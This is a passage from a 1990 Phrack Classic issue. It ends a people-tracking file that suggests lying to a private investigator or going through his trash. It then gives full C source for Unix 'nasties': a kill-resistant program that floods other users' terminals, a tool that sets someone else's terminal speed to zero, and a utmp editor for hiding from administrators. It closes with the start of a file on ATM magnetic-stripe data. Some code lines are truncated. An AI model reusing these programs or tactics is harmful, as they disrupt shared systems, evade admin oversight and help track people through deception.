You can also call a service owned by Cole's called the National Look up Library at 402‑473‑9717 and either give a phone number and get the name & address or give the address and get the name and phone number. This is only available to subscribers, which costs $183.00 dollars for 1991. A subscriber gets two free lookups per day and everyone after that costs $1.25. A subscriber can also mail in a request for a lookup to:

National Look Up Library

901 W. Bond Street

Lincoln, NE 68521‑3694

A company called Cheshunoff & Company can, for a $75 fee, obtain a 5‑year detailed financial analysis of any bank.

505 Barton Springs Road

Austin, Texas 78704

512‑472‑2244

Professional Credit Checker & Nationwide SSN‑locate.

!Solutions! Publishing Co.

8016 Plainfield Road

Cincinnati, Ohio 45236

513‑891‑6145

1‑800‑255‑6643

Top Secret Manuals

Consumertronics

2011 Crescent Drive

P.O. Drawer 537‑X

Alamogordo, New Mexico 88310

505‑434‑0234

Federal Government Information Center is located at

1520 Market Street

St. Louis, Missouri

1‑800‑392‑7711

U.S. Dept of Agriculture has located aerial photos of every inch of the United States.

2222 West 2300 S.

P.O. Box 36010

Salt Lake City, Utah 84130

801‑524‑5856

To obtain general information regarding registered agent, principals, and good standing status, simply call the Corporate Division of the Secretary of State and they will provide that information over the phone. Some corporate divisions are here:

Arkansas Corporate Division 501‑371‑5151

Deleware Corporate Division 302‑736‑3073

Georgia Corporate Division 404‑656‑2817

Indiana Corporate Division 317‑232‑6576

Kansas Corporate Division 913‑296‑2236

Louisiana Corporate Division 504‑925‑4716

Missouri Corporate Division 314‑751‑4936

New York Corporate Division 518‑474‑6200

Texas Corporate Division 512‑475‑3551

Freedom Of Information

The Freedom of Information Act allows the public to request information submitted to, or generated by, all executive departments, military departments, government or government controlled corporations, and regulatory agencies. Each agency, as described above, publishes in the Federal Register, descriptions of its central and field organizations and places where and how requests are to be directed. Direct a letter to the appropriate person designated in the Federal Register requesting reasonably described records be released to you pursuant to the Freedom of Information Act. Be sure to follow each agency's individually published rules which state the time, place, fees, and procedures for the provisions of information. The agency should promptly respond.

How to Find Information About Companies, Ed. II, 1981, suggests, "Government personnel you deal with sometimes become less helpful if you approach the subject by threatening the Freedom of Information Act action ‑ it's best to ask for the material informally first." While this will probably enable you to find the correct person to send your request to, be prepared to spend at least half an hour on the phone talking to several people before you find the person who can help you. The book also has a brief description of what each governmental agency handles.

If you want to see if someone you are trying to locate is a veteran, has a federal VA loan, or receives some sort of disability benefit, use Freedom of Information and provide the person's SSN.

You will get a bill but you can ask for a fee waiver if this contributes to a public understanding of the operation of the government. You can also request an opportunity to go through the files yourself and then decide what you want copied.

Insurance Records

PIP carrier records (may contain statements, medical records, new doctors/ hospital names, records of disability payments, adjuster's opinions, applications for insurance coverage, other claim info, etc.)

Health insurance records (may contain medical records, record of bills, new doctors/hospital names, pre‑existing conditions information, info regarding other accidetns/injuries, etc.)

Often you will have to go through the claims office, the underwriting dept, and the business office to get complete records as each individual dept maintains its own seperate files.

Workers Compensation

Some states will let you simply request records. Just submit your request including the SSN and Birthdate, to the Department of Human Resources, Division of Worker's Compensation. They will photocopy the records and send you the copies. Other states require an authorization to obtain these records.

You can always call your local Private Investigator pretending you are a student doing a research paper on the methods of getting personal information about people or even trash his place to find tips on tracking down people.

I hope this PHILE helps you in one way or another, if not, maybe a future PHILE by The Butler will...........

Till Next Time,

The Butler...

Unix 'Nasties'

==Phrack Classic==

Volume Three, Issue 32, File #5 of 12

*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%

%P P%

%H C UNIX `nasties' PART I H% %A by A% %Z Sir Hackalot of PHAZE (10/20/90) Z%

%E E%

*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%

o Purpose of this file:

The purpose of this file is to share small C programs for the Unix System V and/or BSD 4.3 operating systems which as in logical terms, "Nasty". This "Nasty" can be termed better as Annoyance programs or tricky programs.

The purpose of this text however, is NOT to teach one how to program in C and or how to use the C compiler on Unix systems. This textfile assumes you have a working knowledge of programming with C in the UNIX environment.

o The UTMP Reader:

~~~~~~~~~~~~~~~~

First, I would like to start this text off by posting in a generic /etc/utmp reader. The /etc/utmp reader is essential for applications that deal with all the users online at a given time.

Here is the source:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑CUT‑HERE‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

/* WhatTTY ‑‑ Generic WHO

UTMP Reader "Skeleton" : By Sir Hackalot / PhaZe

This is basically a skeleton program that is just a base for any UTMP operations.

This is the skeleton that PhaZe(soft) uses for anything that deals with reading the utmp file, such as MBS, SEND, VW, MME, and other utilities.

Applications: You can use this when you need to do something to everyone online, or when you need some sort of data from utmp, wtmp or any file that is like utmp.

*/

#include <stdio.h>

#include <sys/types.h> /* This is the key to the whole thing */

#include <utmp.h>

#include <fcntl.h>

main()

{

int handle;

char *etc = "/etc/utmp";

struct utmp user;

handle = open(etc,O_RDONLY);

while(read(handle,&user,sizeof(user)) != 0) { if (user.ut_type == USER_PROCESS) printf("%s is on %s\n",user.ut_name,user.ut_line); }

close(handle);

/* Simple, Right? */

/* To see anything that is waiting for a login, change USER_PROCESS

to LOGIN_PROCESS */

}

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

In the above program, this is what happens:

1. I assigned the variable "etc" to point at the string "/etc/utmp", which is the utmp file.

2. I opened in in Read ONLY mode (O_RDONLY).

3. I started a loop that does not end until 0 bytes are read into the user structure. The 0 bytes would mean end of file.

Notice the line:

if (user.ut_type == USER_PROCESS)

What the above line does is to distinguish between a user and a terminal waiting for a Login. The ut_type is defined in utmp.h. There are many types. One of them is LOGIN_PROCESS. That will be a terminal waiting for a login. If you wanted to see all the TTYs waiting to be logged in on, you would change the USER_PROCESS to LOGIN_PROCESS. Other types are things like INIT_PROCESS. You can just look in utmp.h to see them.

Also notice that I have inclide "sys/types.h". If you do not include this file, there will be an error in utmp.h, and other headers. types.h has definitions for other TYPES of data, etc. So, if in a header file you encounter a syntax error, you might need to include sys/types.h

This program is just a skeleton, although it does print out who is logged on, and to what TTY they are on. You will see how this skeleton I wrote can be used. I used it to write MBS.

________________________________________

o MBS ‑‑ Mass BackSpace virus:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MBS may not be considered a virus, since it does not replicate itself. However, it does "infect" every user that logs in, provided the conditions are right.

The MBS virus uses the utmp reader to constantly read the utmp file to find its next victim. Thus, eventually getting everyone, then recycling to start again. Therefore catching people who login after it is started.

Lets look at the source:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑CUT‑HERE‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

#include <stdio.h>

#include <sys/types.h>

#include <utmp.h>

#include <fcntl.h>

#include <signal.h>

/*

MBS ‑ Mass BackSpace Virus!! v2.2 Deluxe+

(c) 1990 ‑ Sir Hackalot

PhaZeSOFT Ltd.

*/

char *ent[10][100]; /* This supports 10 immune people change 10 to x for more */

int maxitem = 5; /* Should be total # of immune dudes */

int truefalse = 0;

int warn[10],bad;

char full_tty[15], text[160], kstr[80];

FILE *to_tty, *strm;

struct utmp u;

void kmes(fmt,boo)

char *fmt;

int boo;

{

if (boo != 0) {

printf("MBS_KERN: "); printf("%s",fmt);

}

if (boo == 0) { sprintf(full_tty,"/dev/%s",u.ut_line); to_tty = fopen(full_tty,"w"); fprintf(to_tty,"MBS_KERN: %s",fmt); fclose(to_tty);

}

}

void initit() { /* Initialize our little "kernel" */

int xxx = 0;

strcpy(ent[0],"technic");

strcpy(ent[1],"merlin");

strcpy(ent[2],"datawiz");

strcpy(ent[3],"par");

strcpy(ent[4],"Epsilon");

while (xxx < 11) {

warn[xxx] = 0;

xxx++;

}

kmes("Kernel Started.\n",1);

}

void warnem(wcnt) /* Notify all the immune people ... */

int wcnt;

{

if (bad == 0) { /* keep from dumping core to disk */

if (warn[wcnt] < 2) { sprintf(kstr,"%s has started a backspace virus!\n",getlo kmes(kstr,0); warn[wcnt]++;

}

}

}

int checkent(uname) /* Check for immunity */

char *uname;

{

int cnt = 0;

truefalse = 0; /* assume NOT immune */

while (cnt < maxitem) {

if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */

truefalse = 1; warn[cnt]++; /* increment warning variable */

warnem(cnt); /* warn him if we have not */

}

cnt++;

}

return(truefalse); /* return immunity stat. 1=immune, 0 = not */

}

/* Purpose: Instead of just ignoring the signal via SIG_IGN, we want

to intercept it, and notify use */

void sig_hand(sig)

int sig;

{

if(sig == 3) kmes("Ignoring Interrupt\n",1);

if(sig == 15) kmes("Ignoring Termination Signal\n",1);

if(sig == 4) kmes("Ignoring quit signal.\n",1);

}

main(argc,argv)

int argc;

char *argv[];

{

int prio,pid,isg,handle;

char buf[80];

char name[20],tty[20],time[20];

initit();

if (argc < 2) prio = 20;

if (argc == 2) prio = atoi(argv[1]);

if ((pid = fork()) > 0) {

printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n"); printf("Another Fine PhaZeSOFT production\n"); printf("Thanks to The DataWizard for Testing this\n"); printf("Hello to The Conflict\n"); sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid); kmes(kstr,1);

exit(0); /* KILL MOTHER PID, return to Shell & go background */

}

nice(prio);

signal(SIGQUIT,sig_hand);

signal(SIGINT,sig_hand);

signal(SIGTERM,sig_hand);

/* That makes sure you HAVE to do a ‑9 or ‑10 to kill this thing.

Sometimes, hitting control‑c will kill of background processes! Add this line if you want it to continue after you hangup: signal(SIGHUP,SIG_IGN);

doing it will have the same effect as using NOHUP to

to execute it. Get it? Nohup = no SIGHUP

*/

while(1) { /* "Kernel" Begins here and never ends */

handle = open("/etc/utmp",O_RDONLY); while (read(handle,&u,sizeof(u)) != 0) { bad = 0; sprintf(full_tty,"/dev/%s",u.ut_line); if (strcmp(u.ut_name,getlogin()) != 0) {

/* Fix: Below is a line that optimizes the hosing/immune process

It skips the utmp entry if it is not a user. If it is, it checks for immunity, then comes back. This is alot faster and does not wear down cpu time/power */

if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name); else isg = 1;

if (isg != 1) {

if((to_tty = fopen(full_tty,"w")) == NUL

bad = 1;

if (bad == 0) {

fprintf (to_tty, "\b\b\b");

fflush (to_tty);

fclose(to_tty);

}

}

}

close (handle);

}

}

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I am going to try to take this bit by bit and explain how it works so that maybe you can come up with some good ideas on creating something similar.

I will start with the MAIN function. Here it is:

___

main(argc,argv)

int argc;

char *argv[];

{

int prio,pid,isg,handle;

char buf[80];

char name[20],tty[20],time[20];

initit();

___

Obviously, this is the part of the code which initializes the main variables used. The "main(argc,argv)" is there so it can accept command line parameters. The command line parameters are just for speed customization, which I will discuss later. Notice how the variables are defined for the command line parameters:

int argc, char *argv[];

argc is the number of arguments, INCLUDING the name of the current executable running. argv[] holds the strings in an array which make up the parameters passed. argv[0] holds the name of the program, while argv[1] holds the 1st parameter entered on the command line. initit() is called to set up the necessary tables. All of the variables defined at the top of the program are global, and alot of these functions use the global variables, as does initit();.

___

if (argc < 2) prio = 20;

if (argc == 2) prio = atoi(argv[1]);

___

Ok, the above two lines essentially parse the command line. The MBS program only accepts ONE argument, which is the priority value to add to the normal process priority. This is so you can customize how fast MBS runs. If you want to burn CPU time, you would invoke mbs by:

$ mbs 0

That would make the priority as fast as the current can run something. MBS's default priority setting is 20, so that CPU time will be saved. MBS is very fast however, and since alot of Unix systems like to cache alot of frequently used data from disks, it gets fast after it reads utmp a few times, since utmp will be cached until it changes. However, you can run MBS with a number from 0‑19, the higher the number, the "less" priority it will have with the cpu.

___

if ((pid = fork()) > 0) {

printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n"); printf("Another Fine PhaZeSOFT production\n"); sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid); kmes(kstr,1);

exit(0); /* KILL MOTHER PID, return to Shell & go background */

}

___

The above is what sends MBS into the background. It calls fork(), which creates another process off the old one. However, fork() can be considered "cloning" a process, since it will use anything beneath it. So, now you can assume there are TWO copies of MBS running ‑‑ One in the foreground, and one in the background. However, you may notice the exit(0). That first exit kills off the parent. a second call to exit() would kill the child as well. notice the call to "kmes". kmes is just a function that is defined earlier, which I will discuss later.

___

nice(prio);

signal(SIGQUIT,sig_hand);

signal(SIGINT,sig_hand);

signal(SIGTERM,sig_hand);

/* signal(SIGHUP,SIG_IGN); */

___

The above code is integral for the survival of the MBS program in memory. The nice(prio) is what sets the new priority determined by the command line parsing.

The signal() statements are basically what keeps MBS running. What it does is catch INTERRUPTS, Quits, and a regular call to KILL. the commented out portion would ignore requests to kill upon hangup. This would keep MBS in the background after you logged off.

Why do this? Well, remember that the parent was affected by its environment? Well, the new forked process is too. That means, if you were 'cat'ting a file, and hit control‑C to stop it, the cat process would stop, but push the signal on to MBS, which would cause MBS to exit, if it did not have a signal handler. The signal calls setup signal handlers. What they do is tell the program to goto the function sig_hand() when one of the 3 signals is encountered. The commented signal just tells the program to ignore the hangup signal. The sig_hand argument can be replaced with SIG_IGN if you just want to plain ignore the signal and not handle it.

The SIGQUIT is sometimes the control‑D character. That is why it also must be dealt with. If the signals aren't ignored or caught, MBS can easily kicked out of memory by YOU, by accident of course.

___

while(1) { /* "Kernel" Begins here and never ends */

handle = open("/etc/utmp",O_RDONLY);

___

The above starts the main loop. The begining of the loop is to open the utmp file.

___

while (read(handle,&u,sizeof(u)) != 0) {

bad = 0;

sprintf(full_tty,"/dev/%s",u.ut_line);

if (strcmp(u.ut_name,getlogin()) != 0) {

if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name); else isg = 1;

if (isg != 1) {

if((to_tty = fopen(full_tty,"w")) == NULL) { bad = 1;

}

if (bad == 0) {

fprintf (to_tty, "\b\b\b");

fflush (to_tty);

}

fclose(to_tty);

}

}

___

Above is the sub_main loop. what it does is go through the utmp file, and on each entry, it prepares a path name to the TTY of the current utmp entry (sprintf(fulltty...)). Then it checks to see if it is YOU. If it is, the loop ends. If it is not, then it sees if it is a User. If not, it ends the loop and goes to the next.

If it is a user, it goes to checkent to see if that user has been declared immune in the immunity tables (down below later..). If the idiot is not immune, it attempts to open their tty. If it cannot, it sets the bad flag, then ends the loop. If it can be written to, it sends three backspaces, according to YOUR tty specs. Then, it closes the opened tty, and the loop continues until the end.

___

}

close (handle);

}

}

___

The above is the end of the main loop. It closes handle (utmp) so it can be reopened at the start of the loop at the beginning of the file. The reason to not create a table of people to hit in memory after one reading is so that MBS will stop after people logoff, and to start when new ones logon. The constant reading of the utmp file makes sure everyone gets hit, except immune people. Also, the file must be closed before reopening, or else, after a few opens, things will go to hell.

Here is the signal handler:

___

void sig_hand(sig)

int sig;

{

if(sig == 3) kmes("Ignoring Interrupt\n",1);

if(sig == 15) kmes("Ignoring Termination Signal\n",1);

if(sig == 4) kmes("Ignoring quit signal.\n",1);

}

___

It is very simple. when a signal is caught and sent to the handler, the library function SIGNAL sends the signal number as an argument to the function. The ones handled here are 3,4, and 15. But this was just for effect. You could just have it print one line no matter what the signal was, or just rip this function out and put in SIG_IGN in the signal calls.

Below is the immunity check:

___

int checkent(uname) /* Check for immunity */

char *uname;

{

int cnt = 0;

truefalse = 0; /* assume NOT immune */

while (cnt < maxitem) {

if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */

truefalse = 1; warn[cnt]++; /* increment warning variable */

warnem(cnt); /* warn him if we have not */

}

cnt++;

}

return(truefalse); /* return immunity stat. 1=immune, 0 = not */

}

___

Above, you see variables used that are not defined. They are just variables that were declared as globals at the begining. What this does is just compare the login name sent to it with every name in the immunity table. If it finds the name on the table matches, it will go and see if it should warn the user. Also, the warn count is incremented so that the warning function will know if the user has been warned.

Here is the warning function:

___

void warnem(wcnt) /* Notify all the immune people ... */

int wcnt;

{

if (bad == 0) { /* keep from dumping core to disk */

if (warn[wcnt] < 2) { sprintf(kstr,"%s has started a backspace virus!\n",getlo kmes(kstr,0); warn[wcnt]++;

}

}

}

___

What this does is take the position number of the table entry and checks and see if that entry has been warned before. It decides this by checking its value. If it is less than two, that means the user had not been warned. After it is sent, the function incrememnts the warning flag so that they will never been warned again until the program has stopped & restarted or someone else runs one. The "if (bad == 0)" is there so that it only warns a person if it can write to the tty.

Here is the kmes function you keep seeing:

___

void kmes(fmt,boo)

char *fmt;

int boo;

{

if (boo != 0) {

printf("MBS_KERN: "); printf("%s",fmt);

}

if (boo == 0) { sprintf(full_tty,"/dev/%s",u.ut_line); to_tty = fopen(full_tty,"w"); fprintf(to_tty,"MBS_KERN: %s",fmt); fclose(to_tty);

}

}

___

All this is, is a fancy printf which prints a string with "MBS_KERN:" stuck on the front of it. the BOO variable is just so it can determine whether or not to send it to the local screen or to another tty. It is just for looks.

Now, finally, we can look at the initializer:

___

void initit() { /* Initialize our little "kernel" */

int xxx = 0;

strcpy(ent[0],"sirh");

strcpy(ent[1],"merlin");

strcpy(ent[2],"datawiz");

strcpy(ent[3],"par");

strcpy(ent[4],"epsilon");

while (xxx < 11) {

warn[xxx] = 0;

xxx++;

}

kmes("Kernel Started.\n",1);

}

___

This is a very SIMPLE procedure. It just fills the list with the people to keep immune. ent[..][..] is what holds the immune list. It also zeros out the warning flags associated with each user. ("sirh","merlin","par",etc. are acct. names)

This "virus" can do more than just send backspaces if you want it to, but it will take modification. Some people have modified it to include the next program, which is ioctl.c.

________________________________________

o IOCTL ‑‑ Set another's tty w/out read perms

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The program ioctl is very very nice. What it does is basically act like stty, but you don't have to use the < to change someone else's terminal. Here is the listing:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑CUT‑HERE‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

#include <stdio.h>

#include <sys/types.h>

#include <fcntl.h>

#include <sgtty.h>

#define TIOC ('T'<<8)

#define TCSETA (TIOC|2)

main(argc,argv)

int argc;

char *argv[];

{

int x;

struct sgttyb histty;

if (argc == 1) exit(0);

x = open(argv[1],O_WRONLY);

if (x == ‑1) exit(0);

histty.sg_ispeed = B0;

histty.sg_ospeed = B0;

ioctl(x,TCSETA,&histty);

}

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑CUT‑HERE‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The basis of the program is that you give a full path to the tty to nail. You need to be able to write to the tty for it to work.

Notice the two defines. They are in there so you do not have to include termio.h, and hence get 200 warnings of redefinition. This program is WAY simpler than MBS, but here is how it works:

___

main(argc,argv)

int argc;

char *argv[];

___

Of course, the above sets up the program to get command line arguments.

___

int x;

struct sgttyb histty;

___

These are the variables. the sgttyb structure is what the ioctl function call needs to do its duty. You can do a lot to a tty using the structure, but this program only does 2 things to the tty, as you shall soon see. Remember that the programs here can be modified, especially this one. Just check out sgtty.h to see the modes you can pop a tty into.

___

if (argc == 1) exit(0);

x = open(argv[1],O_WRONLY);

if (x == ‑1) exit(0);

___

The above three lines are the open/error checks. The 1st line says that if the idiot did not give an argument then exit the program. The argument needs to be the path to the device driver (/dev/tty...).

The second line opens the tty for writing, and the third exits upon error.

___

histty.sg_ispeed = B0;

histty.sg_ospeed = B0;

ioctl(x,TCSETA,&histty);

___

The above three lines are the meat of the program. What they do is this:

Line 1 sets the input speed to 0 for the tty into the structure. line 2 sets the output speed to 0 for the tty into the structure. line 3 sets the tty according to the structure histty.

That is why if you look into the components of the structure, you can do things, such as convert all output to uppercase for them, set a higher baud, redefine CR mapping, redefine tabs, and all sorts of things.

________________________________________

o MME ‑ Make ME!:

~~~~~~~~~~~~~~~

MME is just a program which changes utmp for you, in order to hide you, or just mess with other user's minds. This is a different version then the one I originally put out. In this version, I removed the code that lets you change your tty. It just became too dangerous to change your tty.

Here is the listing:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑CUT‑HERE‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

#include <stdio.h>

#include <fcntl.h>

#include <sys/types.h>

#include <utmp.h>

#include <sys/stat.h>

char *mytty; /* For an exact match of ut_line */

char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";

struct utmp *user;

main(argc,argv)

int argc;

char *argv[];

{

int good= 0,cnt = 0,start = 1, index = 0;

char err[80];

system(backup_utmp);

printf("Welcome to MME 1.00 By Sir Hackalot\n"); printf("Another PHAZESOFT Production\n"); printf("Status:");

if (argc == 2) printf("Changing your login to %s\n",argv[1]); if (argc == 1) printf("Removing you from utmp\n");

utmpname("/etc/utmp");

mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */

strcpy(mytty,++mytty); /* Make a string starting one pos greater */

while (good != 1) {

user = getutent();

cnt++;

if (strcmp(user‑>ut_line,mytty) == 0) good =1; }

utmpname("/etc/utmp"); /* Reset file pointer */

for(start = 0;start < cnt;start++) {

user = getutent(); /* Move the file pointer to where we are */

}

if (argc == 1) {

user‑>ut_type = LOGIN_PROCESS; strcpy(user‑>ut_name,"LOGIN");

}

else user‑>ut_type = USER_PROCESS;

if (argc == 2) strcpy(user‑>ut_name,argv[1]); pututline(user); /* Rewrite our new info */

endutent(); /* Tell the utmp functions we are through */

printf("Delete /tmp/utmp.bak if all is well.\n"); printf("Else, copy it to /etc/utmp.\n");

}

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Well, of course, we will take this bit by bit. Lets start with the standard ole function:

___

main(argc,argv)

int argc;

char *argv[];

___

This again sets up main so we can accept command line arguments.

___

char *mytty; /* For an exact match of ut_line */

char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";

struct utmp *user;

___

These are just global variables.

Backup_utmp is the command we will issue to shell for a failsafe mechanism.

___

system(backup_utmp);

printf("Welcome to MME 1.00 By Sir Hackalot\n"); printf("Another PHAZESOFT Production\n"); printf("Status:");

if (argc >= 2) printf("Changing your login to %s\n",argv[1]); if (argc == 1) printf("Removing you from utmp\n");

___

The above is not hard to figure out. First, this uses the system command to load shell, and execute our backup command. Then, the lame credits are printed. Then, it tells you what it is going to do based on the number of arguments passed from the command line.

If no arguments are given (argc==1) then remove us from utmp. If there are 1 or more (arc>=2) then change the login name.

___

utmpname("/etc/utmp");

mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */

strcpy(mytty,++mytty); /* Make a string starting one pos greater */

___

The above code does the following: utmpname is a system function common to UNIX system V, XENIX system V, etc. It is part of the utmp reading library. It sets the thing to be read when the other system calls are made (getutent, etc..). mytty is set to hold one's tty. It has to break down the result of ttyname(0) to get a ttyname without a path.

___

while (good != 1) {

user = getutent();

cnt++;

if (strcmp(user‑>ut_line,mytty) == 0) good =1; }

___

This code gets your relative index from utmp and stores it into cnt.

___

utmpname("/etc/utmp"); /* Reset file pointer */

for(start = 0;start < cnt;start++) {

user = getutent(); /* Move the file pointer to where we are */

}

___

The above resets the file pointer used by the system calls, then moves to your entry.

___

if (argc == 1) {

user‑>ut_type = LOGIN_PROCESS; strcpy(user‑>ut_name,"LOGIN");

}

else user‑>ut_type = USER_PROCESS;

if (argc == 2) strcpy(user‑>ut_name,argv[1]); pututline(user); /* Rewrite our new info */

endutent(); /* Tell the utmp functions we are through */

___

The above is very simple as well. If you are removing yourself from utmp, it will change your process type to LOGIN_PROCESS so that when someone does a "who", you are not there. It changes your login name to LOGIN so if some knowitall system admin does a who ‑l, he wont see you. See, who ‑l shows ttys waiting for login. SO, if i did not change your tty name, we would see:

$ who ‑l

LOGIN ttyxx1

LOGIN tty002

joehack tty003

LOGIN tty004

See the problem there? That is why your name needs to be changed to LOGIN.

If you are changing your login name, the "else" statment kicks in and makes SURE you WILL show up in utmp, in case you had removed yourself before.

Then, it takes the command line argument, and places it as your login name in utmp.

pututline(user) then writes the info into the record where the file pointer is... and that is your record. It puts the contents of the things in the "user" structure into the file. then, endutent closes the file.

Now, here is an example of using the file:

# mme Gh0d

that would change your login name to Gh0d in utmp.

# mme

that would remove you from sight. Remember!!: You need write perms to utmp for this to work. You CAN test this program by changing the filename in the function "utmpname" to somewhere else, say in /tmp. You could copy /etc/utmp to /tmp/utmp, and test it there. Then, you could use "who" to read the file in /tmp to show the results.

________________________________________

o In Conclusion:

~~~~~~~~~~~~~~

These are just some of the programs I decided to put in this file. I have a lot more, but I decided I would keep them for later issues, and leave these two together since they can be easily related. One person took MBS, and ioctl, and mended them together to make a program that sets everyone's baud rate to zero instead of sending 3 backspaces. They just put in the above lines of code into the place where they sent the backspaces, and used open instead of stream open (fopen). It is very simple to mend these two things together.

Have a nice life! Keep on programmin'!

By: Sir Hackalot of Phaze.

Automatic Teller Machine Cards

==Phrack Classic==

Volume Three, Issue 32, File #6 of 12

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

] Exploration of: ]

] Automatic Teller Machine Cards ]

]

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

] Written by: ]

] Jester Sluggo ]

]

] Released: May 13, 1989 ] ](to Black‑Ice:For Review)] ] Released: Jan 12, 1990 ]

] (to Phrack Inc.) ]

] Released: Nov, 10, 1990 ]

] (to Phrack Classic) ]

+‑‑‑‑‑‑‑‑‑‑‑‑‑

With the North American continent the being the worlds biggest consumer of goods and services liquidity of the banking system has become an important factor in our everyday lives. Savings accounts were used by people to keep money safe and used by the banks to provide money for loans. However, due to 'Bankers Hours' (10 AM to 3 PM) it was often difficult for people to get access to thier money when they needed it.

The banking system then created the Checking Account system. This system allowed people to have much easier access to thier money. Unfortunately the biggest drawback of this system is that people can not manage thier own money and accounting procedures. Millions of times each day throughout the North American continent people are writing checks for more money than they have in thier savings accounts. This drawback also causes the already‑backed up judicial system to become backed up further. The banking system soon reacted to this problem by producing 'check verification' methods to prevent people from forgery, and overdrawing from thier accounts.

"Money makes the world go 'round" and there are many different ways to make this world spin. Today we have checking accounts, credit cards, travelers checks, and the most 'liquid' form of money: cash. Cash transactions are untrackable and widely accepted, so I feel the "Paperless Society" will never happen. Automated Teller Machines provide consumers with 24‑hour access to cash‑sources. By simply inserting a plastic card into the machine and keypadding‑in the owners' "account password", you can access the owners bank account and receive cash in‑hand. This file will explain some details of the automated tellers and the plastic card used by the Teller‑system.

The automated teller is connected by wires and cables to a "Main Computer". During each transaction the teller sends signals to the main computer. The main computer records each transaction (a deposit or withdrawl) and updates the card‑holders account. It also sends 'approval' or 'denial' signals to the ATM in regard to the transaction requested. If a card‑holder attempts to withdraw $150.00 from his account and he has only $100.00 in it, the main computer will tell the ATM to deny the transaction.

The ATM has 2 compartments to store cash in. The first is the "deposits" compartment. This is a small area that receives the daily deposits. It is located in the upper‑part of the machine, near all the mechanical devices. However, because most ATM transactions are withdrawls the complete bottom‑half is filled with cash where the withdrawls are extracted from.

The plastic card inserted into the machine is the same size as a credit card. The front of the card is embossed with information about the card‑holder. The back‑side of the card has a thin strip of magnetic tape which also holds some important information.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

] CIRRUS ] ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑

] INSTANT CASH CARD ] ]/////(magnetic strip)/////]

] ] ]‑‑‑

] Acct: 12345675 Exp. ] ] ]

] Joe Schmoe 01/91 ] ] "card‑holders signature" ]

] ] ]

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

Front‑side Back‑side

When a cardholder inserts his card into the machine and requests a transaction, the machine reads the embossed information from the front‑side and compares it with the data stored on the magnetic strip; looking for a 'match' of the information on both sides.

The information on the front‑side is easily readable with your eyes. However, you can not read the data on the magnetic‑strip so easily. You may ask , "What is stored on the magnetic strip ?". The answer is; the same information as the embossing plus some 'confidential' information regarding the cardholders' financial status is stored there. The magnetic strip has 3 "tracks" on it. The first track can store 210 BPI (Bytes per inch), and the second stores 75 BPI, and the third stores 210 BPI. So, we have:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Track 1: (210 BPI density)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Track 2: ( 75 BPI density)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Track 3: (210 BPI density)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE MAGNETIC STRIP

Now, here's the information stored on each track of the strip in my example:

Track 1: " ;B 12345675 ^ Schmoe/Joe ^ ; LRC "

Track 2: " ;12345675 01/91 ^ 1234 ^ (discriminate data) ; LRC " Track 3: " ;12345675 ^ 01/91 ^ 5 (discriminate data) ; LRC "

Here's the decoding of the above information:

Track 1: ";" = Beginning of the data character "B" = Field‑Control Character: I believe this character tells the ATM what type of account (or status) the user has.

"12345675" = This is the account number of the cardholder. "^" = Data‑field seperator.

"Schmoe/Joe" = Last/First name of cardholder. "^" = Data‑field seperator.

";" = End of data character.

